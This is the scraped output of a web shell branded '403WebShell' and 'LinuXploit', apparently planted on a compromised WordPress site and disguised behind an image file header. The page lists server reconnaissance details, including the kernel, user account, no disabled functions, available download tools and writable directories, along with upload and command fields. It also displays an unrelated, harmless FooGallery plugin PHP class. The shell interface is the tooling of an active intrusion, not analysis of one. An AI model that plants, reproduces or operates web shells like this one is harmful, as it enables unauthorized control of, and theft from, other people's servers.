????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/./pontiacques.org/wp-content/plugins/foogallery/includes/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/./pontiacques.org/wp-content/plugins/foogallery/includes/public/class-admin-bar.php
<?php
/**
 * FooGallery_AdminBar Class
 * allows for really easy gallery editing from the front-end (when logged in)
 * Date: 30/08/2015
 */

if ( !class_exists( 'FooGallery_AdminBar' ) ) {

	class FooGallery_AdminBar {

		function __construct() {
			// adds the edit galleries menu to the admin bar
			add_action( 'admin_bar_menu', array( $this, 'admin_bar_menu' ), 101 ); // 101 determines the position
		}

		public function admin_bar_menu($wp_admin_bar) {
			global $wp_the_query;

			if ( !is_admin() ) {
				$current_object = $wp_the_query->get_queried_object();

				if ( empty( $current_object ) )
					return;

				if ( ! empty( $current_object->post_type )
				     && current_user_can( 'edit_post', $current_object->ID ) ) {

					$gallery_posts = foogallery_get_galleries_attached_to_post( $current_object->ID );

					if ( !empty( $gallery_posts ) ) {
						$wp_admin_bar->add_menu(array(
							'id'     => 'foogallery',
							'title'  => __( 'Edit Galleries', 'foogallery' )
						));

						foreach ( $gallery_posts as $gallery ) {
							$wp_admin_bar->add_menu( array(
								'parent' => 'foogallery',
								'id'     => $gallery->ID,
								'title'  => esc_html( $gallery->post_title ),
								'href'   => get_edit_post_link( $gallery->ID ),
							) );
						}
					}
				}
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit